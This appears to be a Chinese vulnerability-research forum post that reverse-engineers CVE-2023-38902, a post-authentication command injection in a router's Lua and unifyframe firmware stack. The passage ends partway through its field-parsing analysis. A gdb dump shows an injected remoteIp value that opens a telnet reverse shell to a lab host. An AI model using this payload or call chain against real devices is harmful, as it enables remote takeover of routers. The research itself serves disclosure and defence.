首页
社区
课程
招聘
[原创]CVE-2023-38902的详细研究
2024-2-3 14:17 6726

[原创]CVE-2023-38902的详细研究

2024-2-3 14:17
6726

前言

这是我收获的第一个 CVE 编号,在复现了 winmt 师傅的 CVE-2023-34644 后,他告诉我最新的固件虽然做了一些简单的处理,导致无法在未授权的情况下 RCE ,但因为没有从根源上对命令执行点做限制,所以在授权后,仍然可以进行 RCE 。我对最新的固件进行了分析,完整记录了授权后的 RCE 漏洞从分析到利用的过程。从提交漏洞到现在也有半年的时间了,并且某厂商官网也已经发布了最新的固件,现将该文章分享出来,供大家进行学习和研究。

PS:本文记录的部分内容和之前发布过的复现 CVE-2023-34644 文章中的部分内容有相似之处,因为对前期的 lua 文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯,因此就保留了两篇文章中相似的部分。

仿真环境搭建

仿真环境搭建请参考 https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4

该文章详细记录了某厂商路由器的仿真过程

qemu 的启动脚本如下

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
sudo qemu-system-mipsel \
    -cpu 74Kf \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

其中的 vmlinux-3.2.0-4-4kc-malta debian_squeeze_mipsel_standard.qcow2 文件从https://people.debian.org/~aurel32/qemu/mipsel/ 进行下载

在执行 qemu 启动脚本之前,执行下面的脚本,创建一个网桥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33                # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0

漏洞分析

lua文件调用链分析

新版本219调用链分析

usr/lib/lua/luci/modules/cmd.lua 文件中有如下代码,容易让初学者搞混,所以在此简单说明一下

1
2
3
4
5
6
7
8
9
10
11
12
13
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1, #opt do
......
    devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
......   
end

首先是先定义了一个表 opt 里面装了字符串 add del upload 等字符串,然后又定义了四张空表 acConfig devConfig devSta devCap ,接下来是一个 for 循环来遍历 opt 表。

devSta[opt[i]] = function(params) 这行代码为例,假设现在 opt[i] 是元素 addfunction(params) 这里是声明了一个匿名函数,因为函数也是一个变量,这个变量被直接存储到了 devSta 表中,以键值的形式存在,键就是字符串 add 而值就是这个函数,之后调用这个函数的话可以直接写 devSta["add"]()

1
2
3
4
5
6
7
8
function hello()
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta["add"] = hello --假设此时遍历到了opt表中的add元素

为什么特别说明这里呢?因为我在开始分析的时候,我一直以为这里是匹配到对应的键值后直接去执行函数,导致在此处执行了 doParams fetch 函数(实际上通过上面的分析也知道,这里只是定义了这些函数,并没有进行调用)

下面开始正式从入口分析 /api/cmd 的这条链,在 /usr/lib/lua/luci/controller/eweb/api.lua 文件中存在 entry({"api", "cmd"}, call("rpc_cmd"), nil) 这行代码,意味着授权后访问 /api/cmd 路径时,可以调用 rpc_cmd 函数

1
2
3
4
5
6
7
8
function rpc_cmd()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.cmd"
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

通过分析 rpc_cmd 函数得知 _tbl 已经包含了 cmd.lua 中所有变量的定义(上文已经分析过了),主要是 ac_config dev_config dev_sta 这三个表包含了 add del update get set clear doc 这些操作,而 devCap 表只有 get ,相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
 
for i = 1, #opt do
    acConfig[opt[i]] = function(params)
        local model = require "ac_config"
        params.method = opt[i]
        params.cfg_cmd = "ac_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
 
    devConfig[opt[i]] = function(params)
        local model = require "dev_config"
        params.method = opt[i]
        params.cfg_cmd = "dev_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
 
    devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
    if opt[i] == "get" then
        devCap[opt[i]] = function(params)
            local model = require "dev_cap"
            params.method = opt[i]
            params.cfg_cmd = "dev_cap"
            local data, back, ip, password, shell = doParams(params)
            return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
        end
    end
    if opt[i] == "doc" then
        syshell = function(params)
            local tool = require "luci.utils.tool"
            return tool.doc(params)
        end
    end
end

然后来看 rpc_cmd 函数中的这行代码 ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)

jsonrpc.handle 函数的参数是 _tbl ,看下 luci.utils.jsonrpc 文件中的 handle 函数,发现又将参数 tbl 传给了 resolve ,同时传入的还有报文中的 method 字段

1
2
3
4
5
6
7
8
9
function handle(tbl, rawsource, ...)
......
    if stat then
        if type(json.method) == "string" then
            local method = resolve(tbl, json.method)
            if method then
                response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end

resolve 函数主要是将 mod 表中存放键值对中的函数提取出来,假设 methoddevCap.get ,那么下面的代码最后可以将匿名函数 devCap["get"] 赋值给 mod 并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function resolve(mod, method)
    local path = luci.util.split(method, ".")
    for j = 1, #path - 1 do
        if not type(mod) == "table" then
            break
        end
        mod = rawget(mod, path[j])
        if not mod then
            break
        end
    end
    mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
    if type(mod) == "function" then
        return mod
    end
end

分析 proxy(method, json.params or {}) 发现,将刚刚解析的返回值 methodproxy 函数当做参数,这里的 method 又传入了 luci.util 文件中的 copcall 函数

1
2
3
4
5
function proxy(method, ...)
    local tool = require "luci.utils.tool"
    local res = {luci.util.copcall(method, ...)}
......
end

copcall 函数主要是对 coxpcall 的一个封装

1
2
3
function copcall(f, ...)
    return coxpcall(f, copcall_id, ...)
end

终于在 coxpcall 函数内部发现调用了 f

1
2
3
4
function coxpcall(f, err, ...)
    local res, co = oldpcall(coroutine.create, f)
......
end

oldpcall(coroutine.create, f) 这行代码的目的是在一个新的协程中运行函数 f 。至此开始执行上面提到的匿名函数,重新回顾一下它的代码,该函数调用了 doParamsjson 数据进行解析,随后调用了 fetch 函数

1
2
3
4
5
6
devSta[opt[i]] = function(params)
    local model = require "dev_sta"
    params.method = opt[i]
    params.cfg_cmd = "dev_sta"
    local data, back, ip, password, shell = doParams(params)
    return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)

这个 fetch 函数在 cmd.lua 文件中已经定义了,这里调用了 fn 也就是 fetch 函数传入进来的第一个参数

1
2
3
4
5
6
7
local function fetch(fn, shell, params, ...)
    require "luci.json"
    local tool = require "luci.utils.tool"
    local _start = os.time()
    local _res = fn(...)
......
end

fetch 函数的第一个参数为 model.fetchmodelrequire "dev_cap.lua" 后的结果,所以在 cmd.luafetch 函数内部调用了 dev_sta.lua 文件中定义的 fetch 函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so 文件中的 client_call 函数

1
2
3
4
5
6
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
    local uf_call = require "libuflua"
......
    local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
    return stat
end

IDA 打开 /usr/lib/lua/libuflua.so 文件,发现并没有看到有定义的 client_call 函数,不过发现了 uf_client_call 函数,猜测可能是程序内部进行了关联。shift+f12 搜索字符串发现并没有看到 client_call (如下图)

image-20230822105021327

大概率说明 IDA 没有把 client_call 解析成字符串,而是解析成了代码。我这里用 010Editor 打开该文件进行搜索字符串 client_call,成功搜索到后发现其地址位于 0xff0

图片描述

可以看到 IDA 确实是将 0xff0 位置的数据当做了代码来解析,选中这部分数据,按 a ,就能以字符串的形式呈现了

image-20230822105929868

image-20230822110053012

对字符串 client_call 进行交叉引用,发现最终调用位置如下,luaL_registerLua 中注册 C 语言编写的函数,它作用是将 C 函数添加到一个 Lua 模块中,使得这些 C 函数能够从 Lua 代码中被调用

image-20230822111240902

该函数的原型如下

1
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);
  • lua_State *LLua 状态指针,代表了一个 Lua 解释器实例。
  • const char *libname:模块的名称,这个名称会在 Lua 中作为一个全局变量存在,存放模块的函数。
  • const luaL_Reg *l:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的 C 函数指针

这里重点关注第三个参数,这就说明 0x1101C 的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call 实际就定义在了 sub_A00

image-20230822111950548

sub_A00 函数定义如下,可以看到最后是调用了 uf_client_call 函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0); ,很容易能猜测到其实是在解析 Lua 传入的各个参数字段。在 Lua 的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi) 这里传入了多个参数,但是 sub_A00 函数就一个参数 a1 ,结合的操作分析出这里是在解析参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall sub_A00(int a1)
{
  v13[0] = 0;
  v2 = malloc(52);
  v3 = v2;
  if ( v2 )
  {
    memset(v2, 0, 52);
    v5 = 4;
    *(_DWORD *)v3 = luaL_checkinteger(a1, 1);
    *(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
    v6 = luaL_checklstring(a1, 3, 0);
    v7 = *(_DWORD *)v3;
    *(_DWORD *)(v3 + 8) = v6;
    if ( v7 != 3 )
    {
      *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
      *(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
      v5 = 6;
      *(_BYTE *)(v3 + 40) = 1;
    }
    *(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
    *(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
    v8 = v5 + 2;
    if ( *(_DWORD *)v3 )
    {
      if ( *(_DWORD *)v3 == 2 )
      {
        v8 = v5 + 3;
        *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      }
    }
    else
    {
      *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      v8 = v5 + 4;
      *(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
    }
    *(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
    v4 = uf_client_call(v3, v13, 0);
  }
......   

uf_client_call 函数是一个引用外部库的函数,用 grep 在整个文件系统搜索字符串 uf_client_call ,结合 /usr/lib/lua/libuflua.so 文件中引用的外部库进行分析,最终判断出 uf_client_call 函数定义在 /usr/lib/libunifyframe.so

image-20230822132450393

uf_client_call 函数首先判断了 method 的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON 对象中,接着将最终处理好的 JSON 对象转换为 JSON 格式的字符串,通过 uf_socket_msg_writesocket 套接字进行数据传输

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
  v5 = json_object_new_object();
......
  switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2
  {
    case 0:
      v15 = ((int (*)(void))strlen)() + 10;
......
      v13 = "acConfig.%s";
      goto LABEL_22;
    case 1:
      v14 = ((int (*)(void))strlen)() + 11;
......
      v13 = "devConfig.%s";
      goto LABEL_22;
    case 2:
      v8 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devSta.%s";
      goto LABEL_22;
    case 3:
      v16 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devCap.%s";
      goto LABEL_22;
    case 4:
      v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22://接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp", v23)函数为例,作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中,
      json_object_object_add(v5, "method", v19);
      v20 = json_object_new_object();
......
      v21 = json_object_new_string(a1[2]);
      json_object_object_add(v20, "module", v21);
      v22 = a1[5];
      if ( !v22 )
        goto LABEL_35;
      json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
      v25 = a1[6];
      if ( v25 )
      {
        v26 = json_object_new_string(v25);
......
        json_object_object_add(v20, "remotePwd", v26);
      }
      if ( a1[9] )
      {
......
        json_object_object_add(v20, "buf", v27);
      }
      if ( *a1 )
      {
        if ( *a1 != 2 )
        {
          v28 = *((unsigned __int8 *)a1 + 45);
          goto LABEL_58;
        }
        if ( *((_BYTE *)a1 + 42) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "execute";
            goto LABEL_56;
          }
        }
      }
      else
      {
        if ( *((_BYTE *)a1 + 43) )
        {
          v29 = json_object_new_boolean(1);
          if ( v29 )
            json_object_object_add(v20, "force", v29);
        }
        if ( *((_BYTE *)a1 + 44) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "configId_not_change";
LABEL_56:
            json_object_object_add(v31, v32, v30);
            goto LABEL_57;
          }
        }
      }
LABEL_57:
      v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
      if ( v28 )
      {
        v33 = json_object_new_boolean(1);
        if ( v33 )
          json_object_object_add(v20, "from_url", v33);
      }
      if ( *((_BYTE *)a1 + 47) )
      {
        v34 = json_object_new_boolean(1);
        if ( v34 )
          json_object_object_add(v20, "from_file", v34);
      }
      if ( *((_BYTE *)a1 + 48) )
      {
        v35 = json_object_new_boolean(1);
        if ( v35 )
          json_object_object_add(v20, "multi", v35);
      }
      if ( *((_BYTE *)a1 + 46) )
      {
        v36 = json_object_new_boolean(1);
        if ( v36 )
          json_object_object_add(v20, "not_commit", v36);
      }
      if ( *((_BYTE *)a1 + 40) )
      {
        v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
        if ( v37 )
          json_object_object_add(v20, "async", v37);
      }
      v38 = (_BYTE *)a1[3];
      if ( !v38 || !*v38 )
        goto LABEL_78;
      v39 = json_object_new_string(v38);
      json_object_object_add(v20, "data", v39);
LABEL_78:
      v41 = (_BYTE *)a1[4];
      if ( v41 && *v41 )
      {
        v42 = json_object_new_string(v41);
        if ( !v42 )
        {
          json_object_put(v20);
          json_object_put(v5);
          v40 = 630;
          goto LABEL_82;
        }
        json_object_object_add(v20, "device", v42);
      }
      json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值,向v5中添加新的键值对
      v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
      v44 = uf_socket_client_init(0);
......
      v50 = strlen(v43);
      uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......

既然存在 uf_socket_msg_write 进行数据发送,那么肯定就在一个地方有用 uf_socket_msg_read 函数进行数据的接收,用 grep 进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf 文件,并且该文件还位于 /etc/init.d 目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf 文件就是用来接收 libunifyframe.so 文件所发送过来的数据

image-20230822145039327

219版本之前的调用链

该调用链是 winmt 师傅在 CVE-2023-34644 利用的,在 219 之前该调用链可以通杀该厂商大部分设备。下面介绍的这条调用链所出示的代码均来自某型号的 204 版本。

/usr/lib/lua/luci/controller/eweb/api.lua 文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

这意味着当用户访问 /api/auth 路径时,将调用 rpc_auth 。在 luci 框架中 sysauth 属性控制是否需要进行系统级的用户认证才能访问该路由,这里的 sysauth 属性为 false ,表示无需进行系统认证即可访问。

rpc_auth 函数首先引入了一些模块,然后获取 HTTP_CONTENT_LENGTH 的长度是否大于 1000 字节,如果不大于的话会将准备 HTTP 响应的类型设置为 application/json ,下面的 handle 函数第一个参数 _tbl 传入的是 luci.modules.noauth 文件返回的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
function rpc_auth()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.noauth"
    if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
        http.prepare_content("text/plain")
        -- http.write({code = "1", err = "too long data"})
        return "too long data"
    end
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

到了 handle 函数内部后的流程与分析最新版的步骤一样,就不再赘述,最后的结果就是能在这里触发noauth 文件中的 merge 函数(前提是报文中要设置 method 字段的值为 merge

noauth 的文件中定义了 merge 函数

1
2
3
4
function merge(params)
    local cmd = require "luci.modules.cmd"
    return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

merge 函数又调用了 /usr/lib/lua/luci/modules/cmd.lua 文件中的 devSta.set 函数,之后的过程又和上文中分析最新版的步骤一样,也不再重复记录

1
2
3
4
5
6
devSta[opt[i]] = function(params)
    local model = require "dev_sta"
    params.method = opt[i]
    params.cfg_cmd = "dev_sta"
    local data, back, ip, password, shell = doParams(params)
    return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)

为什么最新版不能再走这条链了?

219 版本,在 noauth.lua 文件中的 merge 函数,加入了对 params 中危险字符的过滤,调用了 includeXxsincludeQuote 函数,对换行符、回车符、反引号、&$;| 等符号都做了过滤,这就意味着后续无法再进行命令注入了。而 219 版本只在这里进行了危险字符的过滤,只要从其他地方调用到诸如 dev_cap dev_sta 表中的函数依然可以进行命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function merge(params)
    local cmd = require "luci.modules.cmd"
    local tool = require("luci.utils.tool")
    local _strParams = luci.json.encode(params)
 
    if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then
        tool.eweblog(_strParams, "MERGE FAILED INVALID DATA")
        return 'INVALID DATA'
    end
 
    return cmd.devSta.set({
        device = "pc",
        module = "networkId_merge",
        data = params,
        async = true
    })
end
 
function includeXxs(str)
    local ngstr = "[\n\r`&$;|]"
    return string.match(str, ngstr) ~= nil
end
 
function includeQuote(str)
    return string.match(str, "(['])") ~= nil
end

漏洞文件分析

下面开始分析 /usr/sbin/unifyframe-sgi.elf 文件,整体流程是在 main 函数调用了三个关键函数 uf_socket_msg_read parse_content add_pkg_cmd2_task ,他们的作用分别为 接收数据 解析数据 执行命令

字段解析

uf_socket_msg_read 函数将 json 数据读入到内存中,地址为 v31+1

1
2
3
4
5
6
7
8
//uf_socket_msg_read
 
  v31 = (_DWORD *)malloc_pkg();
......
  pthread_mutex_lock(v29 + 5);
  *v31 = v29;
  v52 = uf_socket_msg_read(*v29, v31 + 1);
  pthread_mutex_unlock(v29 + 5);

通过 gdb 来查看读入的数据 这里只为说明 gdb 可以查看内存中读入的数据,文章前后发送的报文并不一样

1
2
3
pwndbg> x/4s 0x623850
0x623850:   "{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": "...
0x623918:   "\"{\\\"kkk\\\":\\\"abc\\\"}\" } }"

json 数据的各字段进行解析在 parse_content 函数中完成,该函数首先判断了 paramsmethod 字段是否存在,然后在 method 字段不为 cmdArr 的情况下,调用 parse_obj2_cmd 函数进一步对字段进行解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//parse_content
  v3 = json_tokener_parse();
  v4 = v3;
......
  v6 = json_object_object_get_ex(v3, "params", &v18);
  v7 = v4;
  if ( v6 != 1 )//检查了 params 字段是否存在值
  {
LABEL_27:
    json_object_put(v7);
    return -1;
  }
  if ( json_object_object_get_ex(v4, "method", v19) != 1 )//检查了 method 字段是否存在值
  {
LABEL_26:
    v7 = v4;
    goto LABEL_27;
  }
  v8 = json_object_get_string(v19[0]);
  if ( !v8 )
  {
......
  }
  if ( strstr(v8, "cmdArr") )//因为发送的 method 字段不为 cmdArr,所以进入 else
  {
......
  }
  else
  {
......
    v16 = parse_obj2_cmd(v4); //进行数据解析的具体位置,v4为Json对象                 
    *v15 = v16;
    if ( !v16 )
    {
......
    }
    pkg_add_cmd(a1, v15);
    v15[2] = 0;
  }

parse_obj2_cmd 函数中具体的解析了各个字段及类型并把它们记录到一个堆块中,最终返回该堆块地址,便于之后的访问。想知道 POC 的编写格式就要对此处进行逆向分析,具体分析结果已写在注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
//parse_obj2_cmd
  v2 = malloc(0x34);//创建了一个堆块,用于记录和存储接下来的各种信息,该函数最终会返回这个堆块地址
  v3 = v2;
......
  if ( json_object_object_get_ex(a1, "params", &v38) != 1 )//判断params字段是否存在,存在的话将值赋给v38
  {
......
  }
  if ( json_object_object_get_ex(a1, "method", &v37) != 1 )//判断method字段是否存在,存在的话将值赋给v37
  {
......
  }
  v4 = json_object_get_string(v37);//获取到method的值,下面去匹配对应的操作,各种操作都对应一个数字,该数字放在了堆块的第一个指针处
  v5 = v4;
......
  if ( strstr(v4, "devSta") )
  {
    v6 = 2;
  }
  else
  {
    if ( strstr(v5, "acConfig") )
    {
      *(_DWORD *)v3 = 0;
      goto LABEL_21;
    }
    if ( strstr(v5, "devConfig") )
    {
      *(_DWORD *)v3 = 1;
      goto LABEL_21;
    }
    if ( strstr(v5, "devCap") )
    {
      v6 = 3;
    }
    else
    {
      if ( !strstr(v5, "ufSys") )
      {
        uf_log_printf(uf_log, (const char *)dword_4219EC, "sgi.c", "parse_obj2_cmd", 274);
        goto LABEL_109;
      }
      v6 = 4;
    }
  }
  *(_DWORD *)v3 = v6;
LABEL_21:
  v7 = strchr(v5, 46);//此处的strchr与strdup函数配合将method字段中xxx.xxx的字符串进行了分割,假设最初method为devConfig.get,那么此处会将get放入堆块中的第二个指针处
  v8 = strdup(v7 + 1);
  *(_DWORD *)(v3 + 4) = v8;
  if ( json_object_object_get_ex(v38, "module", &v37) != 1 )//判断params字段中是否存在module这个值,存在的话将module的值放入v37中,不存在直接返回
  {
......
  }
  v10 = json_object_get_string(v37);
  if ( !v10 )
  {
    uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 294);
    goto LABEL_109;
  }
  v11 = strdup(v10);
  *(_DWORD *)(v3 + 8) = v11;//将module字段的值放到堆块的第三个指针中
  if ( json_object_object_get_ex(v38, "remoteIp", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 5) < 2 )//这里判断params字段中remoteIp是否存在,存在的话将remoteIp的值赋给v37,同时对remoteIp值的类型做了检查,这里其实就要它的类型为string
  {
    v12 = json_object_get_string(v37);
    if ( v12 )
    {
      v13 = strdup(v12);
      *(_DWORD *)(v3 + 20) = v13;//将remoteIp的值放入堆块的第六个指针中
......
    }
  }
  else
  {
    *(_DWORD *)(v3 + 20) = 0;
  }
  if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )//作用同上类似,这里要求remotePwd的类型为array,但是如果传入array类型的话,前端做了相应的检查导致异常,因此猜测这里应该是写的Bug
  {
    v14 = json_object_get_string(v37);
    if ( v14 )
    {
      v15 = strdup(v14);
      *(_DWORD *)(v3 + 24) = v15;
...... 
    }
  }
  v16 = *(_DWORD *)v3 != 2;
  *(_BYTE *)(v3 + 40) = 0;
  *(_BYTE *)(v3 + 41) = v16;
  if ( json_object_object_get_ex(v38, "async", &v37) == 1 )
  {
    v17 = (_BYTE *)sub_404BAC(v37);
    v18 = v17;
    if ( v17 )
    {
      if ( *v17 == 48 || !strcmp(v17, "false") )
      {
        *(_BYTE *)(v3 + 40) = 1;
        *(_BYTE *)(v3 + 41) = 1;
      }
      if ( *v18 == 49 || !strcmp(v18, "true") )
        *(_WORD *)(v3 + 40) = 1;
      free(v18);
    }
  }
  if ( json_object_object_get_ex(v38, "force", &v37) == 1 )
  {
    v19 = (_BYTE *)sub_404BAC(v37);
    v20 = v19;
    if ( v19 )
    {
      if ( *v19 == 49 || !strcmp(v19, "true") )
        *(_BYTE *)(v3 + 43) = 1;
      free(v20);
    }
  }
  if ( json_object_object_get_ex(v38, "configId_not_change", &v37) == 1 )
  {
    v21 = (_BYTE *)sub_404BAC(v37);
    v22 = v21;
    if ( v21 )
    {
      if ( *v21 == 49 || !strcmp(v21, "true") )
        *(_BYTE *)(v3 + 44) = 1;
      free(v22);
    }
  }
  if ( json_object_object_get_ex(v38, "from_url", &v37) == 1 )
  {
    v23 = (_BYTE *)sub_404BAC(v37);
    v24 = v23;
    if ( v23 )
    {
      if ( *v23 == 49 || !strcmp(v23, "true") )
        *(_BYTE *)(v3 + 45) = 1;
      free(v24);
    }
  }
  if ( json_object_object_get_ex(v38, "from_file", &v37) == 1 )
  {
    v25 = (_BYTE *)sub_404BAC(v37);
    v26 = v25;
    if ( v25 )
    {
      if ( *v25 == 49 || !strcmp(v25, "true") )
        *(_BYTE *)(v3 + 47) = 1;
      free(v26);
    }
  }
  if ( json_object_object_get_ex(v38, "multi", &v37) == 1 )
  {
    v27 = (_BYTE *)sub_404BAC(v37);
    v28 = v27;
    if ( v27 )
    {
      if ( *v27 == 49 || !strcmp(v27, "true") )
        *(_BYTE *)(v3 + 48) = 1;
      free(v28);
    }
  }
  if ( json_object_object_get_ex(v38, "not_commit", &v37) == 1 )
  {
    v29 = (_BYTE *)sub_404BAC(v37);
    v30 = v29;
    if ( v29 )
    {
      if ( *v29 == 49 || !strcmp(v29, "true") )
        *(_BYTE *)(v3 + 46) = 1;
      free(v30);
    }
  }
  if ( json_object_object_get_ex(v38, "execute", &v37) == 1 )
  {
    v31 = (_BYTE *)sub_404BAC(v37);
    v32 = v31;
    if ( v31 )
    {
      if ( *v31 == 49 || !strcmp(v31, "true") )
        *(_BYTE *)(v3 + 42) = 1;
      free(v32);
    }
  }
  v33 = v3;
  if ( json_object_object_get_ex(v38, "data", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 4) < 3 )//判断params字段中是否存在data,如果存在的话将其赋值给v37,并且检查了data的值类型,只能为object,array,string三种类型,然后将data的值放到堆块的第四个指针处
  {
